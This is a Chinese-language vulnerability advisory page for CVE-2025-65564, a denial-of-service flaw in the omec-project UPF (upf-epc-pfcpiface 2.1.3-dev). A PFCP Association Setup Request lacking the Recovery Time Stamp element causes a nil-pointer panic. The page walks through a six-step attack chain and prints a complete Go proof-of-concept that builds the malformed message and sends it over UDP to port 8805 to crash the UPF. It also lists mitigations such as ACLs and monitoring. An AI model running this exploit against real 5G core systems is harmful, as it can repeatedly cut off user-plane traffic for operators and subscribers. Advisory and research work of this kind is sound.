IPBUF安全漏洞报告
English
CVE-2025-65564 CVSS 7.5 高危

CVE-2025-65564 omec-upf PFCP关联设置请求拒绝服务漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2025-65564
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
omec-project/upf (upf-epc-pfcpiface)

相关标签

CVE-2025-65564拒绝服务omec-project5G核心网PFCP协议nil指针解引用UPF用户面功能N4接口高危漏洞

漏洞概述

CVE-2025-65564是一个发现于omec-project开源项目UPF(用户面功能)组件中的高危拒绝服务漏洞。该漏洞存在于upf-epc-pfcpiface模块的2.1.3-dev版本中,源于PFCP(Packet Forwarding Control Protocol)关联设置请求处理逻辑的安全缺陷。PFCP是5G核心网中控制面与用户面分离架构的关键协议,用于管理会话建立、修改和删除等操作。攻击者可以通过构造特制的PFCP Association Setup Request消息,当该消息缺少必需的Recovery Time Stamp Information Element时,目标UPF组件将触发nil指针解引用错误,导致进程panic并异常终止。此漏洞允许未经认证的远程攻击者反复使UPF服务崩溃,直接影响5G网络的用户面数据传输能力,造成大规模服务中断。由于该漏洞无需身份认证即可利用,且攻击复杂度低,对运营商的5G核心网基础设施构成严重威胁。

技术细节

该漏洞的根本原因在于PFCP关联设置请求处理器在处理异常输入时缺乏充分的输入验证。当接收到PFCP Association Setup Request时,代码直接调用IE.RecoveryTimeStamp()方法获取Recovery Time Stamp信息元素,但未检查该元素是否存在。在upf-epc-pfcpiface的2.1.3-dev版本中,如果请求消息中不包含Recovery Time Stamp IE,IE指针将为nil,随后对该nil指针的方法调用将触发Go语言的panic机制。攻击者只需构造一个标准的PFCP Association Setup Request消息,但移除Recovery Time Stamp Information Element字段,然后将其发送至UPF的N4/PFCP接口(默认端口8805)。UPF在解析并处理该请求时,会在关联设置处理函数中尝试访问不存在的IE字段,最终导致进程崩溃。由于PFCP协议栈在设计上需要处理大量并发连接,且UPF是用户平面数据转发的核心组件,此漏洞可被利用进行持续性拒绝服务攻击,每次崩溃后需要手动重启服务才能恢复。

攻击链分析

STEP 1
步骤1
攻击者识别目标UPF(用户面功能)组件,确认其运行omec-project/upf的v2.1.3-dev版本,并暴露N4/PFCP接口(默认端口8805)
STEP 2
步骤2
攻击者构造特制的PFCP Association Setup Request消息,故意省略Recovery Time Stamp Information Element,这是PFCP协议规范中要求必须包含的元素
STEP 3
步骤3
攻击者将恶意构造的PFCP消息发送至目标UPF的N4/PFCP接口,无需任何身份认证
STEP 4
步骤4
UPF的PFCP关联设置处理器接收到请求后,调用IE.RecoveryTimeStamp()方法尝试获取时间戳,但因IE对象为nil而触发panic
STEP 5
步骤5
UPF进程因未捕获的panic而异常终止,用户平面数据转发功能中断,所有经过该UPF的用户数据流被中断
STEP 6
步骤6
攻击者可重复发送此类恶意请求,持续造成拒绝服务状态,直至管理员手动重启UPF服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-65564 PoC - PFCP Association Setup Request without Recovery Time Stamp IE // Target: omec-project/upf upf-epc-pfcpiface <= 2.1.3-dev // This PoC demonstrates sending a malformed PFCP Association Setup Request // that triggers nil pointer dereference in the UPF component. package main import ( "encoding/binary" "fmt" "net" "time" ) // PFCP IE Types const ( IE_RecoveryTimeStamp = 3 IE_NodeID = 84 IE_FTEID = 21 IE_PFCPSMReqFlags = 44 IE_PFCPAssociationRetryTimer = 110 IE_UserPlaneIPResourceInformation = 51 IE_UE_IP_Address = 93 ) // PFCP Message Types const ( MSG_PFCP_ASSOCIATION_SETUP_REQUEST = 5 ) // PFCP Header Structure type PFCPHeader struct { Version uint8 MP uint8 SFlag uint8 MessageType uint8 MessageLen uint16 SequenceNum uint32 Seid uint64 } func buildPFCPIE(ieType uint16, data []byte) []byte { ie := make([]byte, 4+len(data)) binary.BigEndian.PutUint16(ie[0:2], ieType) binary.BigEndian.PutUint16(ie[2:4], uint16(len(data))) copy(ie[4:], data) return ie } func buildPFCPAssociationSetupRequest() []byte { var ieData []byte // Node ID IE (Required) nodeID := []byte{0x00, 0x00, 0x00, 0x01} // IPv4: 0.0.0.1 ieData = append(ieData, buildPFCPIE(IE_NodeID, nodeID)...) // OMIT Recovery Time Stamp IE - This triggers the vulnerability // In vulnerable versions, omitting this mandatory IE causes nil pointer dereference // Optional: FTEID for Control Plane fteid := []byte{0x80, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01} ieData = append(ieData, buildPFCPIE(IE_FTEID, fteid)...) // Build PFCP Header msgType := MSG_PFCP_ASSOCIATION_SETUP_REQUEST msgLen := uint16(len(ieData) + 4) // +4 for sequence number and spare header := make([]byte, 16) header[0] = 0x20 // Version=1, MP=0, S=1 header[1] = msgType binary.BigEndian.PutUint16(header[2:4], msgLen) binary.BigEndian.PutUint32(header[4:8], 0x00000001) // Sequence number header[8] = 0x00 // Spare header[9] = 0x00 // Spare header[10] = 0x00 // Spare return append(header[:10], ieData...) } func exploitCVE202565564(targetIP string, targetPort int) error { addr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", targetIP, targetPort)) if err != nil { return fmt.Errorf("failed to resolve address: %v", err) } conn, err := net.DialUDP("udp", nil, addr) if err != nil { return fmt.Errorf("failed to connect: %v", err) } defer conn.Close() payload := buildPFCPAssociationSetupRequest() fmt.Printf("[*] Sending malformed PFCP Association Setup Request to %s:%d\n", targetIP, targetPort) fmt.Printf("[*] Payload length: %d bytes\n", len(payload)) fmt.Printf("[*] Recovery Time Stamp IE: OMITTED (triggering CVE-2025-65564)\n") _, err = conn.Write(payload) if err != nil { return fmt.Errorf("failed to send payload: %v", err) } fmt.Printf("[+] Payload sent successfully\n") return nil } func main() { targetIP := "<UPF_IP>" targetPort := 8805 fmt.Println("=== CVE-2025-65564 PoC ===") fmt.Println("Target: omec-project/upf upf-epc-pfcpiface <= 2.1.3-dev") fmt.Println("Vulnerability: Missing nil pointer check for Recovery Time Stamp IE") fmt.Println("") err := exploitCVE202565564(targetIP, targetPort) if err != nil { fmt.Printf("[-] Error: %v\n", err) } time.Sleep(2 * time.Second) fmt.Println("[*] UPF process should have crashed (panic due to nil pointer dereference)") }

影响范围

omec-project/upf upf-epc-pfcpiface:2.1.3-dev

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1) 在UPF前端部署访问控制列表(ACL),限制只有授权的核心网控制面组件才能向N4接口发送PFCP消息;2) 监控N4接口的PFCP Association Setup Request消息,检测并丢弃格式异常的请求;3) 启用UPF进程的健康检查和自动重启机制,以减少服务中断时间;4) 考虑在测试环境中验证PFCP消息格式规范,确保所有必需字段完整。建议持续关注omec-project/upf的GitHub仓库(issue #956和PR #964),获取官方安全更新的最新进展。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表